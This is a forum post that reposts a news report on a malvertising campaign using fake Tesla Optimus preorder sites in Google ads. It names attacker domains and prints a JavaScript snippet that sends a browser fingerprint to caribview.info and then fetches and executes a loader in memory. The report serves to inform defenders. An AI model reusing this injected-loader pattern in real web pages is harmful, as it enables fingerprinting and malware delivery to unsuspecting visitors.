

Forum:[Hack Forums](#)

Thread: [Hackers Poison Google Paid Ads With Fake Tesla Websites to Deliver Malware](#)

MadScientist - August 12, 2025, 8:11 am

In recent weeks, a flurry of sponsored listings promising preorders for Tesla's anticipated Optimus robots began appearing at the top of Google search results.

These advertisements directed unsuspecting users to counterfeit microsites mimicking Tesla's design, purporting to accept \$250 "non-refundable" deposits for early access to the robotics platform.

What seemed at first glance to be a routine phishing scam has evolved into a far more insidious operation: hackers have weaponized these fake Tesla landing pages to distribute custom malware payloads.

Internet Storm Center analysts noted that the campaign first surfaced around early August, following Tesla's own promotional materials that reignited public interest in Optimus.

By registering domains such as offers-tesla.com and exclusive-tesla.com, the threat actors sidestepped traditional email filters and social media monitoring, relying instead on Google's advertising platform to ensure maximum visibility.

Victims clicking through these paid ads encountered an ostensibly legitimate preorder form, unaware that behind the scenes malicious scripts were being silently injected.

Upon form submission, rather than charging the test credit card provided, the site responded with JavaScript designed to fingerprint the visitor's browser and download a second-stage loader.

Internet Storm Center researchers identified this loader as a variant of the widely observed "SilentLoader" family, configured to fetch additional modules from the actor-controlled domain caribview.info.

Analysis of network traffic revealed HTTP POST requests delivering encrypted configuration blobs, which the loader then decrypted and executed in memory—leaving no executable on disk.

Infection Mechanism Deep Dive

The infection mechanism hinges on dynamic script injection and in-memory execution to evade detection. When the victim's browser renders the fake Tesla page, the following snippet is dynamically appended to the checkout page:-

```
(function(){  
  var xhr = new XMLHttpRequest();  
  xhr.open('POST', 'https://caribview.info/tesla/api/config', true);  
  xhr.onload = function(){  
    var cipher = new Uint8Array(xhr.response);  
    var config = decryptConfig(cipher, key);  
    executePayload(config.loaderUrl);  
  };  
  xhr.responseType = 'arraybuffer';  
  xhr.send(collectBrowserFingerprint());
```

```
});
```

This code leverages the browser's native capabilities to gather system details—such as installed fonts, screen resolution, and plugin versions—then posts the fingerprint to the malicious API.

Source - <https://cybersecuritynews.com/hackers-poison-google-paid-ads-with-fake-tesla-websites/>